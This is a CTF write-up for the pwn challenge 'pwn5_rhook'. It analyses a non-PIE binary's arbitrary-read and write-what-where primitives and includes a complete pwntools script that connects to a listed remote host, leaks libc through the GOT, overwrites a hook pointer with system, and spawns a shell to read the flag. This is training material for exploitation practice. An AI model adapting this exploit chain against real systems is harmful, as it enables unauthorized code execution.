pwn5_rhook
pwn5_rhook
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: got_leak_via_arbitrary_read, hook_pointer_overwrite, ret2libc_system, write_what_where
Summary
Task: NON-PIE x86-64 binary exposes an arbitrary read (write(1, addr, 8)), an 8-byte write-what-where (read(0, addr2, 8)), and a save_name routine that CALLs a global hook pointer with rdi = the name buffer; addresses are parsed with atoi (decimal). Solution: leak read@GOT to recover libc 2.31 base, overwrite the hook with system, then call save_name("/bin/sh") so the hook fires as system("/bin/sh").
pwn5_rhook — pwn_spbctf
Description
pwn5_rhook — category "www" (write-what-where), tier pwn5. Author: George Zaytsev (@groke). Remote:
nc 109.233.56.90 11654(pwn.spbctf.ru).
A NON-PIE x86-64 binary (rhook.elf) plus a libc.so.6 (glibc 2.31). The
program hands you three powerful primitives in sequence and a global function
pointer ("hook") that, when non-zero, gets called with rdi pointing at a
buffer you control. Goal: pop a shell as ctf and read /flag.
Analysis
Protections: NON-PIE (base 0x400000), NX, Partial RELRO, stack canary, not
stripped. Partial RELRO + NON-PIE means the GOT is at a fixed, writable address.
main @0x400853 runs this flow:
- Arbitrary read / leak primitive.
read_n(buf, 0x20);addr = atoi(buf);write(1, addr, 8)— it prints 8 bytes located at your address. Becauseatoiparses the input, the address must be supplied in decimal. - Write-what-where.
read_n(buf, 0x20);addr2 = atoi(buf);read(0, addr2, 8)— 8 attacker-chosen bytes are written to your address. - Hook trigger.
read_n(buf, 0x20);save_name(buf).
save_name @0x40081c: if the global save_name_hook @0x601090 is non-zero
(it starts at 0), it does mov rdi, rdx; call rax, i.e. it calls the hook
pointer with rdi = the name buffer. That is the whole game: a callable
function pointer plus a buffer we choose for its first argument.
Key fixed addresses:
read@GOT = 0x601040→ decimal6295616save_name_hook = 0x601090→ decimal6296208
libc 2.31 offsets (verified from the provided libc.so.6):
read = 0x111130system = 0x55410/bin/sh = 0x1b75aa
Solution
- Leak libc via the arbitrary read. Send the decimal form of
read@GOT(6295616). The program doeswrite(1, 0x601040, 8), returning the resolvedreadlibc address. Confirmleak & 0xfff == 0x130(low 12 bits ofread), thenlibc_base = leak - 0x111130. - Overwrite the hook with
system. Send the decimal form ofsave_name_hook(6296208) asaddr2, then sendp64(libc_base + 0x55410)as the 8 bytes —read(0, 0x601090, 8)plantssysteminto the hook. - Trigger. Send the name
"/bin/sh".save_namesees a non-zero hook and executessystem(rdi="/bin/sh")→ shell asuid=1000(ctf).
/flag is -rw-r--r-- (48 bytes) and readable by ctf.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11654 e = ELF('rhook.elf') libc = ELF('libc.so.6') READ_GOT = e.got['read'] # 0x601040 -> decimal 6295616 SAVE_NAME_HOOK = 0x601090 # decimal 6296208 def run(): io = remote(HOST, PORT) # 1) ARBITRARY READ: leak read@got -> libc base (address in DECIMAL, atoi) io.recvline(timeout=5) # consume prompt (best-effort) io.send(str(READ_GOT).encode().ljust(0x20, b'\x00')) leak = io.recv(8, timeout=10) leaked_read = u64(leak.ljust(8, b'\x00')) log.info('leaked read@libc = %#x', leaked_read) assert (leaked_read & 0xfff) == (libc.symbols['read'] & 0xfff), 'low12 mismatch' libc_base = leaked_read - libc.symbols['read'] log.success('libc base = %#x', libc_base) system = libc_base + libc.symbols['system'] # +0x55410 # 2) WRITE-WHAT-WHERE: hook = system io.recvline(timeout=5) io.send(str(SAVE_NAME_HOOK).encode().ljust(0x20, b'\x00')) io.recvline(timeout=5) io.send(p64(system)) # 3) TRIGGER: save_name("/bin/sh") -> hook(rdi="/bin/sh") = system("/bin/sh") io.recvline(timeout=5) io.send(b'/bin/sh\x00') # Flaky socket shell: settle, use `head -c N; echo` instead of bare cat time.sleep(1.5) io.sendline(b'head -c 200 /flag; echo; id') time.sleep(2.5) data = io.recvrepeat(4) print(data.decode(errors='replace')) m = re.search(rb'spbctf\{[^}]*\}', data) if m: log.success('FLAG: %s', m.group().decode()) io.close() run()
What failed (and the fix)
A bare cat /flag repeatedly returned empty output — a socket buffering /
timing race right after the spawned dash came up. The reliable recipe was
head -c 200 /flag; echo with a ~1.5 s settle before sending the command and a
~2.5 s recvrepeat window afterward.